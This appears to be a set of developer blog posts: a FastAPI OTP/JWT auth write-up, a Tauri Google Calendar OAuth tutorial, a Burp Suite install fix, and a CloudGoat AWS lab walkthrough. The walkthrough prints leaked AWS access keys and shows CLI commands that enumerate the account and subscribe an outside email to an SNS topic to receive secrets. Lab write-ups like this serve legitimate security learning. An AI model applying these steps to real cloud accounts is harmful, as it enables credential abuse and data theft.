        raise HTTPException(status_code=404, detail="No OTP found for this email")

    if datetime.now(timezone.utc) > otp_record.expires_at:
        raise HTTPException(status_code=400, detail="OTP has expired")

    if not OTPManager.verify_otp(input_code, otp_record.code_hash):
        self.otp_repo.increment_attempts(email)
        raise HTTPException(status_code=400, detail="Invalid OTP")

    self.otp_repo.mark_verified(email)
    self.otp_repo.delete_otp(email)

verify_otp uses this core and marks user email verified.

Login Logic

def login(self, user_data: UserLogin) -> TokenResponse:
    user = self.user_repo.get_user_by_email(user_data.email)

    if user and not user.verified:
        raise HTTPException(status_code=401, detail="Email address not verified")

    if not user or not verify_password(user_data.password, user.password):
        raise HTTPException(status_code=401, detail="Incorrect email or password")

    access_token = create_access_token(data={
        "sub": user.email,
        "user_id": str(user.id),
        "subscription": {...}
    })

    return {"access_token": access_token, "token_type": "bearer", "user": user}

Security behavior:

Unverified users are denied
Password verification uses Argon2 helper
JWT includes expiry claim (exp)

Password Reset (Scoped Token)

def verify_reset_otp(self, email: EmailStr, input_code: str):
    self._verify_otp_core(email, input_code)
    access_token = create_access_token(
        data={"email": email, "purpose": "password_reset"},
        expires_delta=timedelta(minutes=10)
    )
    return {"message": "OTP verified", "access_token": access_token}

def get_password_reset_user(credentials: HTTPAuthorizationCredentials = Depends(security)):
    payload = decode_access_token(credentials.credentials)
    if payload.get("purpose") != "password_reset":
        raise HTTPException(status_code=401, detail="Invalid token purpose")
    return payload.get("email")

This prevents normal access tokens from being used to reset passwords.

Logout + Token Revocation

def block_token_logout(credentials: HTTPAuthorizationCredentials = Depends(security), db: Session = Depends(get_db)) -> bool:
    token = credentials.credentials
    payload = decode_access_token(token)
    expires_at = datetime.fromtimestamp(payload["exp"], tz=timezone.utc)
    TokenBlacklistRepository(db).add_token(token, payload["user_id"], expires_at)
    return True

def get_current_user(...):
    payload = decode_access_token(token)
    if TokenBlacklistRepository(db).is_blacklisted(token):
        raise HTTPException(status_code=401, detail="Token has been revoked")

This gives immediate logout invalidation, even for unexpired JWTs.

Data Model Notes

OTP Table

email (PK)
code_hash
expires_at
last_sent_at
attempts
resend_count
verified
locked_until
optional audit fields (ip_address, user_agent)

Users Table

email
password (hashed)
verified

Final Takeaway

This auth flow is a strong security baseline: verification-first onboarding, abuse-resistant OTP lifecycle, scoped password reset, and revocable JWT sessions. With secret management and a few operational hardening steps, it is production-ready for security-sensitive workloads.

Building Google Calendar OAuth for a Desktop App

Yar Khan — Tue, 10 Feb 2026 15:56:46 +0000

I recently added Google Calendar integration to my Tauri desktop app, and honestly, it was more interesting than I expected. OAuth in desktop apps is a different beast than web apps - there's no domain, no guaranteed redirect URL, and you're running entirely on the user's machine.

Here's the story of how I got it working, complete with code and the lessons learned.

The Challenge

I wanted users to connect their Google Calendar so my task manager could:

Create calendar events for tasks with deadlines
Update events when tasks change
Delete events when tasks are completed
Sync reminder frequencies

Simple enough, right? Well...

Attempt 1: Device Code Flow (Failed)

My initial plan was Google's Device Code Flow - that TV-style flow where you show users a code and tell them to visit google.com/device. Seemed perfect:

No localhost server needed
Works on any device
User-friendly for limited-input devices

But here's what went wrong:

// Device Flow attempt - didn't work!
let response = client
    .post("https://oauth2.googleapis.com/device/code")
    .form(&[("client_id", CLIENT_ID), ("scope", SCOPES)])
    .send()
    .await?;

// Error: 401 Unauthorized
// "error": "invalid_client",
// "error_description": "Invalid client type."

The issues:

Wrong credential type: Device Flow requires "TVs and Limited Input devices" OAuth client type
Desktop app credentials don't work: My "Desktop app" credentials were rejected
Limited scope support: Some Google APIs don't support Device Flow
Poor UX: Copy-pasting codes feels clunky for a desktop app

After hitting walls with invalid_client errors for hours, I realized this wasn't the right approach for a desktop app with full keyboard/browser access.

Attempt 2: Localhost Redirect (Success!)

Then I discovered what VS Code, Spotify, Slack, and virtually every other desktop app does: spin up a temporary HTTP server on localhost.

The flow:

Open user's browser → Google OAuth page
User authorizes
Google redirects to http://localhost:3333/oauth/callback?code=...
Your tiny HTTP server catches it
Exchange code for tokens
Show success page
Shut down server

This is actually the standard OAuth 2.0 Authorization Code flow, adapted for desktop apps.

Why it works:

Google's "Desktop app" credentials automatically accept any localhost redirect
No need to pre-configure ports or URLs
Instant response (no polling)
Familiar user experience
Supports all Google API scopes

I found this excellent Rust OAuth guide that confirmed this is the right path. Let's build it.

The Complete Implementation

Project Structure

First, let's look at how everything is organized:

src-tauri/
├── src/
│   ├── commands/
│   │   └── calendar_commands.rs      # Tauri commands (Frontend ↔ Rust)
│   ├── services/
│   │   └── calendar_service.rs       # Business logic layer
│   ├── thirdparty/
│   │   └── calendar/
│   │       └── google_oauth.rs       # Google API integration
│   ├── structs/
│   │   └── calendar/
│   │       └── calendar_credentials.rs  # Data structures
│   ├── db/
│   │   ├── mod.rs                    # Database operations
│   │   ├── tables/
│   │   │   └── calendar_credentials.sql
│   │   └── sql/
│   │       ├── save_calendar_credentials.sql
│   │       └── get_calendar_credentials.sql
│   └── oauth_pages/
│       ├── success.html              # OAuth success page
│       ├── error.html                # OAuth error page
│       └── security_error.html       # CSRF attack warning

This layered approach keeps concerns separated:

Commands: Thin layer exposing Rust functions to JavaScript
Services: Orchestrates business logic and database operations
Thirdparty: Talks to external APIs (Google)
Database: All SQL isolated in separate files
Structs: Shared data types

Step 1: Data Structures

Start with the core data type for storing OAuth credentials:

// src/structs/calendar/calendar_credentials.rs
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize, Clone)]
pub struct CalendarCredentials {
    pub email: String,
    pub access_token: String,
    pub refresh_token: String,
    pub token_expiry: DateTime<Utc>,
}

Why this structure?

email: Shows user which account is connected
access_token: Short-lived (1 hour), used for API calls
refresh_token: Long-lived, gets new access tokens
token_expiry: When to refresh the access token
DateTime<Utc>: Timezone-aware timestamps prevent bugs

Step 2: Database Schema

Single-user table with a clever constraint:

-- src/db/tables/calendar_credentials.sql
CREATE TABLE IF NOT EXISTS calendar_credentials (
    id INTEGER PRIMARY KEY CHECK (id = 1),  -- Only allows ONE row
    email VARCHAR(255) NOT NULL,
    access_token TEXT NOT NULL,
    refresh_token TEXT NOT NULL,
    token_expiry DATETIME NOT NULL,
    created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
    updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);

-- Initialize with empty placeholder
INSERT OR IGNORE INTO calendar_credentials (id, email, access_token, refresh_token, token_expiry)
VALUES (1, '', '', '', CURRENT_TIMESTAMP);

The CHECK (id = 1) trick ensures only one row can exist. This is a single-user desktop app, so we don't need multiple accounts (yet). Trying to insert id = 2 will fail.

Save credentials:

-- src/db/sql/save_calendar_credentials.sql
UPDATE calendar_credentials 
SET email = ?, 
    access_token = ?, 
    refresh_token = ?, 
    token_expiry = ?, 
    updated_at = CURRENT_TIMESTAMP 
WHERE id = 1

Get credentials:

-- src/db/sql/get_calendar_credentials.sql
SELECT email, access_token, refresh_token, token_expiry
FROM calendar_credentials
WHERE id = 1 AND email != ''

The email != '' check returns NULL if never authenticated.

Step 3: The OAuth Flow (The Heart of It All)

Here's the complete OAuth implementation:

// src/thirdparty/calendar/google_oauth.rs
use crate::structs::calendar::CalendarCredentials;
use chrono::{Duration, Utc};
use reqwest::Client;
use serde::Deserialize;
use std::sync::{Arc, Mutex};
use tiny_http::{Server, Response};

// OAuth Configuration
const CLIENT_ID: &str = "your-client-id.apps.googleusercontent.com";
const CLIENT_SECRET: &str = "your-client-secret";
const REDIRECT_URI: &str = "http://localhost:3333/oauth/callback";
const GOOGLE_AUTH_URL: &str = "https://accounts.google.com/o/oauth2/v2/auth";
const GOOGLE_TOKEN_URL: &str = "https://oauth2.googleapis.com/token";
const SCOPES: &str = "https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/userinfo.email";

// Load HTML templates at compile time (zero runtime cost!)
const SUCCESS_HTML: &str = include_str!("../../oauth_pages/success.html");
const ERROR_HTML: &str = include_str!("../../oauth_pages/error.html");
const SECURITY_ERROR_HTML: &str = include_str!("../../oauth_pages/security_error.html");

// Response structures for deserializing Google's JSON
#[derive(Debug, Deserialize)]
struct TokenResponse {
    access_token: String,
    refresh_token: Option<String>,
    expires_in: i64,
    #[allow(dead_code)]
    token_type: String,
}

#[derive(Deserialize)]
struct UserInfo {
    email: String,
}

// Generate random state for CSRF protection
fn generate_state() -> String {
    use rand::Rng;
    rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(32)
        .map(char::from)
        .collect()
}

pub async fn start_oauth_flow() -> Result<CalendarCredentials, String> {
    // Step 1: Generate CSRF protection token
    let state = generate_state();

    // Step 2: Build authorization URL
    let auth_url = format!(
        "{}?client_id={}&redirect_uri={}&response_type=code&scope={}&state={}&access_type=offline&prompt=consent",
        GOOGLE_AUTH_URL,
        urlencoding::encode(CLIENT_ID),
        urlencoding::encode(REDIRECT_URI),
        urlencoding::encode(SCOPES),
        state
    );

    // Step 3: Open browser to Google's OAuth page
    webbrowser::open(&auth_url)
        .map_err(|e| format!("Failed to open browser: {}", e))?;

    // Step 4: Start tiny HTTP server for callback
    let server = Server::http("127.0.0.1:3333")
        .map_err(|e| format!("Failed to start server: {}", e))?;

    // Shared state for the authorization code
    let code_result = Arc::new(Mutex::new(None::<String>));
    let code_clone = code_result.clone();

    // Step 5: Wait for callback (with 5-minute timeout)
    let timeout = std::time::Duration::from_secs(300);
    let start = std::time::Instant::now();

    for request in server.incoming_requests() {
        if start.elapsed() > timeout {
            return Err("Authorization timeout after 5 minutes".to_string());
        }

        let url = request.url().to_string();

        // Only handle our callback path
        if !url.starts_with("/oauth/callback") {
            let _ = request.respond(Response::from_string("Not found").with_status_code(404));
            continue;
        }

        // Step 6: Parse query parameters
        if let Some(query) = url.split('?').nth(1) {
            let mut code = None;
            let mut received_state = None;
            let mut error = None;

            for param in query.split('&') {
                let parts: Vec<&str> = param.split('=').collect();
                if parts.len() == 2 {
                    match parts[0] {
                        "code" => code = Some(urlencoding::decode(parts[1]).unwrap_or_default().to_string()),
                        "state" => received_state = Some(parts[1].to_string()),
                        "error" => error = Some(parts[1].to_string()),
                        _ => {}
                    }
                }
            }

            // Step 7: Handle errors from Google
            if let Some(err) = error {
                let html = ERROR_HTML.replace("{{ERROR_MESSAGE}}", &err);
                let response = Response::from_string(html)
                    .with_header(tiny_http::Header::from_bytes(&b"Content-Type"[..], &b"text/html"[..]).unwrap());
                let _ = request.respond(response);
                return Err(format!("Authorization error: {}", err));
            }

            // Step 8: VERIFY STATE (Critical security check!)
            if received_state.as_deref() != Some(&state) {
                let response = Response::from_string(SECURITY_ERROR_HTML)
                    .with_header(tiny_http::Header::from_bytes(&b"Content-Type"[..], &b"text/html"[..]).unwrap());
                let _ = request.respond(response);
                return Err("Invalid state - possible CSRF attack".to_string());
            }

            // Step 9: Success! Send pretty page to browser
            if let Some(auth_code) = code {
                let response = Response::from_string(SUCCESS_HTML)
                    .with_header(tiny_http::Header::from_bytes(&b"Content-Type"[..], &b"text/html"[..]).unwrap());
                let _ = request.respond(response);

                *code_clone.lock().unwrap() = Some(auth_code);
                break;
            }
        }
    }

    // Step 10: Extract the authorization code
    let auth_code = code_result.lock().unwrap().take()
        .ok_or_else(|| "No authorization code received".to_string())?;

    // Step 11: Exchange code for tokens
    exchange_code_for_tokens(&auth_code).await
}

Why port 3333?

Ports 8080/5173 are often taken by dev servers. Port 3333 is uncommon enough to usually be free. Google's "Desktop app" credentials accept any localhost port automatically - no configuration needed.

The CSRF state parameter:

This prevents attackers from tricking users into authorizing malicious apps. The flow:

App generates random 32-char string
Includes it in authorization URL
Google includes it in callback
App verifies they match
If mismatch → Attack attempt detected!

The CSRF state parameter:

This prevents attackers from tricking users into authorizing malicious apps. The flow:

App generates random 32-char string
Includes it in authorization URL
Google includes it in callback
App verifies they match
If mismatch → Attack attempt detected!

Step 4: Token Exchange

After getting the authorization code, exchange it for actual tokens:

async fn exchange_code_for_tokens(code: &str) -> Result<CalendarCredentials, String> {
    let client = Client::builder()
        .timeout(std::time::Duration::from_secs(30))
        .build()
        .map_err(|e| format!("Failed to build HTTP client: {}", e))?;

    let params = [
        ("client_id", CLIENT_ID),
        ("client_secret", CLIENT_SECRET),
        ("code", code),
        ("grant_type", "authorization_code"),
        ("redirect_uri", REDIRECT_URI),
    ];

    let response = client
        .post(GOOGLE_TOKEN_URL)
        .form(&params)
        .send()
        .await
        .map_err(|e| format!("Failed to exchange code for tokens: {}", e))?;

    if !response.status().is_success() {
        let status = response.status();
        let error_body = response.text().await.unwrap_or_default();
        eprintln!("Token exchange failed: {} - {}", status, error_body);
        return Err(format!("Token exchange failed: {}", status));
    }

    let token_data: TokenResponse = response
        .json()
        .await
        .map_err(|e| format!("Failed to parse token response: {}", e))?;

    let refresh_token = token_data.refresh_token
        .ok_or_else(|| "No refresh token received. Try revoking app access and reconnecting.".to_string())?;

    let token_expiry = Utc::now() + Duration::seconds(token_data.expires_in);

    // Get user's email for display
    let email = get_user_email(&token_data.access_token).await?;

    Ok(CalendarCredentials {
        email,
        access_token: token_data.access_token,
        refresh_token,
        token_expiry,
    })
}

async fn get_user_email(access_token: &str) -> Result<String, String> {
    let client = Client::builder()
        .timeout(std::time::Duration::from_secs(30))
        .build()
        .map_err(|e| format!("Failed to build HTTP client: {}", e))?;

    let response = client
        .get("https://www.googleapis.com/oauth2/v2/userinfo")
        .bearer_auth(access_token)
        .send()
        .await
        .map_err(|e| format!("Failed to get user info: {}", e))?;

    if !response.status().is_success() {
        return Err(format!("Failed to get user email: {}", response.status()));
    }

    let user_info: UserInfo = response
        .json()
        .await
        .map_err(|e| format!("Failed to parse user info: {}", e))?;

    Ok(user_info.email)
}

Why we need both tokens:

Access token: Short-lived (1 hour), used for API calls
Refresh token: Long-lived (months/years), gets new access tokens

Getting the email:

We call Google's userinfo endpoint to show users which account is connected. This helps when they have multiple Google accounts.

Step 5: Token Refresh

Access tokens expire every hour. Here's how to refresh them:

pub async fn refresh_access_token(refresh_token: &str) -> Result<(String, i64), String> {
    println!("Refreshing access token...");
    let client = Client::builder()
        .timeout(std::time::Duration::from_secs(30))
        .build()
        .map_err(|e| format!("Failed to build HTTP client: {}", e))?;

    let params = [
        ("client_id", CLIENT_ID),
        ("client_secret", CLIENT_SECRET),
        ("refresh_token", refresh_token),
        ("grant_type", "refresh_token"),
    ];

    let response = client
        .post(GOOGLE_TOKEN_URL)
        .form(&params)
        .send()
        .await
        .map_err(|e| format!("Failed to refresh token: {}", e))?;

    if !response.status().is_success() {
        let status = response.status();
        let error_body = response.text().await.unwrap_or_default();
        return Err(format!("Token refresh failed: {} - {}", status, error_body));
    }

    let token_data: TokenResponse = response
        .json()
        .await
        .map_err(|e| format!("Failed to parse refresh response: {}", e))?;

    println!("Token refreshed successfully");
    Ok((token_data.access_token, token_data.expires_in))
}

This function returns a tuple (new_access_token, expires_in_seconds). The caller saves the new token to the database and updates the expiry timestamp.

Step 6: Service Layer (Business Logic)

The service layer orchestrates OAuth flow and database operations:

// src/services/calendar_service.rs
use crate::db::{self, Database};
use crate::structs::calendar::CalendarCredentials;
use crate::thirdparty::calendar;
use chrono::{DateTime, Utc, Duration};

pub async fn start_oauth_flow(db: &Database) -> Result<CalendarCredentials, String> {
    // Start OAuth flow and get credentials
    let credentials = calendar::start_oauth_flow().await?;

    // Save to database
    save_credentials(db, &credentials)?;

    Ok(credentials)
}

pub fn save_credentials(db: &Database, creds: &CalendarCredentials) -> Result<(), String> {
    let conn = db.get_connection();
    db::save_calendar_credentials(&conn, creds)
        .map_err(|e| format!("Failed to save credentials: {}", e))
}

pub fn get_credentials(db: &Database) -> Result<Option<CalendarCredentials>, String> {
    let conn = db.get_connection();
    db::get_calendar_credentials(&conn)
        .map_err(|e| format!("Failed to get credentials: {}", e))
}

pub fn disconnect_calendar(db: &Database) -> Result<(), String> {
    let conn = db.get_connection();
    db::clear_calendar_credentials(&conn)
        .map_err(|e| format!("Failed to disconnect calendar: {}", e))
}

// Get valid access token, refreshing if needed
pub async fn get_valid_access_token(db: &Database) -> Result<String, String> {
    let mut creds = get_credentials(db)?
        .ok_or_else(|| "No calendar credentials found".to_string())?;

    // Check if token is expired (with 5-minute buffer)
    let now = Utc::now();
    let buffer = Duration::minutes(5);

    if now + buffer >= creds.token_expiry {
        println!("Access token expired, refreshing...");

        // Refresh the token
        let (new_access_token, expires_in) = calendar::refresh_access_token(&creds.refresh_token).await?;

        // Update credentials
        creds.access_token = new_access_token;
        creds.token_expiry = now + Duration::seconds(expires_in);

        // Save to database
        save_credentials(db, &creds)?;
    }

    Ok(creds.access_token)
}

The get_valid_access_token function is clever:

Checks if token expires in next 5 minutes
If expiring soon → Refreshes automatically
Saves new token to database
Returns valid token

This means other parts of the app can just call this function and always get a working token. No need to handle expiry everywhere.

Step 7: Tauri Commands (Frontend Bridge)

Expose Rust functions to JavaScript:

// src/commands/calendar_commands.rs
use tauri::State;
use crate::db;
use crate::services::calendar_service;
use crate::structs::calendar::CalendarCredentials;

#[tauri::command]
pub async fn start_calendar_auth(db: State<'_, db::Database>) -> Result<CalendarCredentials, String> {
    calendar_service::start_oauth_flow(&db).await
}

#[tauri::command]
pub fn get_calendar_status(db: State<'_, db::Database>) -> Result<Option<CalendarCredentials>, String> {
    calendar_service::get_credentials(&db)
}

#[tauri::command]
pub fn disconnect_calendar(db: State<'_, db::Database>) -> Result<(), String> {
    calendar_service::disconnect_calendar(&db)
}

These commands are thin wrappers - they just bridge JavaScript to Rust. All the real logic is in the service layer.

Don't forget to register them in main.rs:

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![
            start_calendar_auth,
            get_calendar_status,
            disconnect_calendar,
        ])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

Step 8: Frontend Integration (React/TypeScript)

Finally, the UI layer:

// In your Tauri commands wrapper
import { invoke } from '@tauri-apps/api/core';

export const tauriCommands = {
  startCalendarAuth: async (): Promise<CalendarCredentials> => {
    return await invoke<CalendarCredentials>('start_calendar_auth');
  },

  getCalendarStatus: async (): Promise<CalendarCredentials | null> => {
    return await invoke<CalendarCredentials | null>('get_calendar_status');
  },

  disconnectCalendar: async (): Promise<void> => {
    await invoke('disconnect_calendar');
  },
};

And in your React component:

// src/pages/SettingsPage.tsx
const [settings, setSettings] = useState<Settings | null>(null);
const [connecting, setConnecting] = useState(false);

const startCalendarConnection = async () => {
  setConnecting(true);
  try {
    const credentials = await tauriCommands.startCalendarAuth();
    console.log('Calendar connected:', credentials);

    // Refresh settings to show connected status
    const updatedSettings = await tauriCommands.getSettings();
    setSettings(updatedSettings);
  } catch (error) {
    console.error('Failed to start calendar auth:', error);
  } finally {
    setConnecting(false);
  }
};

const disconnectCalendar = async () => {
  try {
    await tauriCommands.disconnectCalendar();
    const updatedSettings = await tauriCommands.getSettings();
    setSettings(updatedSettings);
  } catch (error) {
    console.error('Failed to disconnect calendar:', error);
  }
};

// In your JSX:
{settings.calendarIntegrationEnabled ? (
  <div>
    <Label>Connected: {settings.calendarEmail}</Label>
    <Button onClick={disconnectCalendar}>Disconnect</Button>
  </div>
) : (
  <Button onClick={startCalendarConnection} disabled={connecting}>
    {connecting ? 'Connecting...' : 'Connect Calendar'}
  </Button>
)}

User experience:

User clicks "Connect Calendar"
Browser opens to Google (automatic)
User authorizes
Success page shows in browser
User closes browser tab
App shows "Connected: user@gmail.com"

Total time: ~10 seconds.

Step 9: OAuth Callback HTML Pages

When OAuth completes, the user needs feedback. I created three HTML pages that display in the browser:

Success Page (src/oauth_pages/success.html) - Shows when authorization succeeds:

<!DOCTYPE html>
<html>
<head>
    <title>Authorization Successful</title>
    <style>
        body { font-family: -apple-system, BlinkMacSystemFont, sans-serif;
               display: flex; justify-content: center; align-items: center;
               min-height: 100vh; background: hsl(40, 20%, 98%); }
        .container { background: white; padding: 48px; border-radius: 16px;
                     box-shadow: 0 4px 20px rgba(0,0,0,0.08); text-align: center; }
        .icon { width: 64px; height: 64px; margin: 0 auto 24px;
                background: hsl(175, 40%, 94%); border-radius: 50%; }
    </style>
</head>
<body>
    <div class="container">
        <div class="icon">✓</div>
        <h1>Authorization Successful!</h1>
        <p>Your Google Calendar has been connected to MyHandler.</p>
        <p>You can now close this window.</p>
    </div>
</body>
</html>

Error Page (src/oauth_pages/error.html) - Shows when something goes wrong:

<!DOCTYPE html>
<html>
<head>
    <title>Authorization Failed</title>
    <style>
        .icon { background: hsl(0, 70%, 95%); color: hsl(0, 72%, 58%); }
    </style>
</head>
<body>
    <div class="container">
        <div class="icon">✗</div>
        <h1>Authorization Failed</h1>
        <p>{{ERROR_MESSAGE}}</p>
        <p>Please close this window and try again.</p>
    </div>
</body>
</html>

Security Error Page (src/oauth_pages/security_error.html) - CSRF protection triggered:

<!DOCTYPE html>
<html>
<head>
    <title>Security Error</title>
    <style>
        .icon { background: hsl(40, 70%, 95%); color: hsl(40, 90%, 50%); }
    </style>
</head>
<body>
    <div class="container">
        <div class="icon">⚠</div>
        <h1>Security Error</h1>
        <p>Invalid state parameter. This could be a CSRF attack.</p>
        <p>For your security, authorization stopped.</p>
    </div>
</body>
</html>

Embed them at compile time:

In google_oauth.rs:

const SUCCESS_HTML: &str = include_str!("../oauth_pages/success.html");
const ERROR_HTML: &str = include_str!("../oauth_pages/error.html");
const SECURITY_ERROR_HTML: &str = include_str!("../oauth_pages/security_error.html");

This embeds the HTML directly in the binary - no external files needed!

Step 10: Google Cloud Console Setup

Here's the complete setup process:

1. Create Google Cloud Project

Go to console.cloud.google.com
Click "New Project"
Name it (e.g., "MyHandler")
Click "Create"

2. Enable Google Calendar API

In your project, go to "APIs & Services" → "Library"
Search for "Google Calendar API"
Click "Enable"

3. Create OAuth Credentials

Go to "APIs & Services" → "Credentials"
Click "Create Credentials" → "OAuth 2.0 Client ID"
Choose "Desktop app" (NOT "Web application" - this is critical!)
Give it a name: "MyHandler Desktop Client"
Click "Create"
Copy the Client ID and Client Secret - you'll need these

4. Configure OAuth Consent Screen

Go to "APIs & Services" → "OAuth consent screen"
Choose "External" (unless you have Google Workspace)
Fill in:
- App name: "MyHandler"
- User support email: your email
- App logo: (optional)
- App domain: your website (optional during development)
- Developer contact: your email

5. Add Scopes

Click "Add or Remove Scopes"
Add:
- https://www.googleapis.com/auth/calendar.events (Read/write events)
- https://www.googleapis.com/auth/userinfo.email (Get user email)
Click "Update"

6. Add Test Users (Development Mode)

Your app starts in "Testing" mode
Add your email as a test user
Once ready for public use, click "Publish App"

Key Insight: Desktop apps don't need to configure redirect URIs. Google automatically allows all localhost URLs for "Desktop app" credentials. This is different from web applications where you must whitelist specific URLs.

Security Considerations

CSRF Protection:

Random 32-character state parameter prevents authorization interception
Validated on every callback
Used once and discarded

Token Security:

Access tokens: 1-hour expiry (short-lived)
Refresh tokens: Long-lived (revocable by user)
Stored in local SQLite database
Consider encrypting the database for extra security

Network Security:

All Google API calls use HTTPS
30-second timeouts prevent hanging
Local server binds only to 127.0.0.1 (not accessible from network)

Database Schema

Simple single-user table:

CREATE TABLE calendar_credentials (
    id INTEGER PRIMARY KEY CHECK (id = 1),  -- Only one user
    email VARCHAR(255) NOT NULL,
    access_token TEXT NOT NULL,
    refresh_token TEXT NOT NULL,
    token_expiry DATETIME NOT NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
    updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

The CHECK (id = 1) constraint ensures only one row exists. This is a single-user desktop app, so I don't need to handle multiple accounts (yet).

And the corresponding Rust struct:

#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct CalendarCredentials {
    pub email: String,
    pub access_token: String,
    pub refresh_token: String,
    pub token_expiry: DateTime<Utc>,
}

Simple, clean, and maps directly to the database columns. The token_expiry uses chrono::DateTime<Utc> for proper timezone handling.

The User Experience

From the user's perspective:

Click "Connect Calendar" button
Browser opens to Google
Sign in (if needed) and click "Allow"
See a nice success page
Close browser tab
Back in the app, their email shows as connected

The whole thing takes like 10 seconds. No codes to copy, no polling, no waiting. Just works.

Dependencies

The key crates that made this possible:

tiny_http = "0.12"      # Lightweight HTTP server
webbrowser = "1.0"      # Opens browser cross-platform  
reqwest = "0.11"        # HTTP client for API calls
serde = "1.0"           # JSON serialization
rand = "0.8"            # Random state generation
urlencoding = "2.1"     # URL encoding/decoding

tiny_http is particularly nice - it's a simple, synchronous HTTP server.

Conclusion

Why This Approach Works

Fast: User clicks → browser opens → authorize → done. ~10 seconds total.

Secure: CSRF protection, HTTPS, token refresh, single-user database constraint.

Reliable: No polling, no manual code copying, no timeouts (well, 5-minute timeout but that's plenty).

Cross-Platform: Works on macOS, Windows, Linux thanks to webbrowser crate.

Maintainable: Clean layered architecture (commands → services → oauth → db).

Frontend (React/TypeScript)
    ↓ (Tauri commands)
Command Layer (calendar_commands.rs)
    ↓
Service Layer (calendar_service.rs)
    ↓
OAuth Layer (google_oauth.rs) ←→ Google APIs
    ↓
Database Layer (db/mod.rs)
    ↓
SQLite (credentials + events)

Each layer has a single responsibility. Changes in one layer rarely affect others. Testing is straightforward.

[Fix] Burp Suite crashing on Kali ARM64 (Apple Silicon / QEMU)

Yar Khan — Fri, 10 Oct 2025 23:00:21 +0000

If Burp Suite instantly crashes on your Kali ARM64 VM with a SIGILL (illegal instruction) error, here’s the fix:

The default OpenJDK 21 from Kali uses newer ARM instructions your emulated CPU doesn’t support under QEMU.

Just switch to a portable Temurin 21 JRE:

From thie official temurin GitHub repository download the version according to your suitable architecture. Like in my case the my kali architecture is ARM64.

OpenJDK21U-jre_aarch64_linux_hotspot_21.0.7_6.tar.gz

Move the file to /tmp folder. Then these commands:

sudo mkdir -p /opt/temurin21

sudo tar -xzf OpenJDK21U-jre_aarch64_linux_hotspot_21.0.7_6.tar.gz -C /opt/temurin21 --strip-components=1

Test it:

/opt/temurin21/bin/java -version

JAVA_CMD=/opt/temurin21/bin/java /usr/bin/burpsuite

Make Temurin the default java (affects all apps)

sudo update-alternatives --install /usr/bin/java java /opt/temurin21/bin/java 1100 sudo update-alternatives --set java /opt/temurin21/bin/java

java -version

Tested on Apple Silicon (UTM + QEMU)

It was bothering me so much when I switched to Mac. At first, I tried to fix the problem for days but eventually got exhausted, so I started using an alternative, Caido. After many months, I decided to try Burp Suite again to learn its features — and this time, I finally succeeded in installing it correctly.

SNS Secret Walkthrough

Yar Khan — Sun, 06 Jul 2025 14:22:22 +0000

SNS Secrets

sns_user_access_key_id = AKIAZI2LCSHNJOCUCLVC
sns_user_secret_access_key = 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

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws sts get-caller-identity --profile pw
{
"UserId": "AIDAZI2LCSHNDOON5AYNB",
"Account": "637423227354",
"Arn": "arn:aws:iam::637423227354:user/cg-sns-user-cgidrsy0favpsp"
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws sns list-topics --profile pw        
{
    "Topics": [
        {
            "TopicArn": "arn:aws:sns:us-east-1:637423227354:public-topic-cgidrsy0favpsp"
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws sns subscribe \
  --topic-arn arn:aws:sns:us-east-1:637423227354:public-topic-cgidrsy0favpsp \
  --protocol email \
  --notification-endpoint yarkhan025@gmail.com \
  --profile pw

{
    "SubscriptionArn": "pending confirmation"
}

confirmed through the mail (might be in spams)

received this mail after confirming

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-rest-apis --profile pw
{
    "items": [
        {
            "id": "3mr2ebz0ak",
            "name": "cg-api-cgidrsy0favpsp",
            "description": "API for demonstrating leaked API key scenario",
            "createdDate": "2025-07-06T18:36:09+05:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ],
                "ipAddressType": "ipv4"
            },
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "rj90ky2wv8"
        }
    ]
}


┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-stages \
  --rest-api-id 3mr2ebz0ak \
  --profile pw
{
    "item": [
        {
            "deploymentId": "x3k470",
            "stageName": "prod-cgidrsy0favpsp",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "createdDate": "2025-07-06T18:36:13+05:00",
            "lastUpdatedDate": "2025-07-06T18:36:13+05:00"
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-usage-plans --profile pw
{
    "items": [
        {
            "id": "0qtwst",
            "name": "cg-usage-plan-cgidrsy0favpsp",
            "apiStages": [
                {
                    "apiId": "3mr2ebz0ak",
                    "stage": "prod-cgidrsy0favpsp"
                }
            ],
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            }
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-resources \
  --rest-api-id 3mr2ebz0ak \
  --profile pw
{
    "items": [
        {
            "id": "4br17j",
            "parentId": "rj90ky2wv8",
            "pathPart": "user-data",
            "path": "/user-data",
            "resourceMethods": {
                "GET": {}
            }
        },
        {
            "id": "rj90ky2wv8",
            "path": "/"
        }
    ]
}

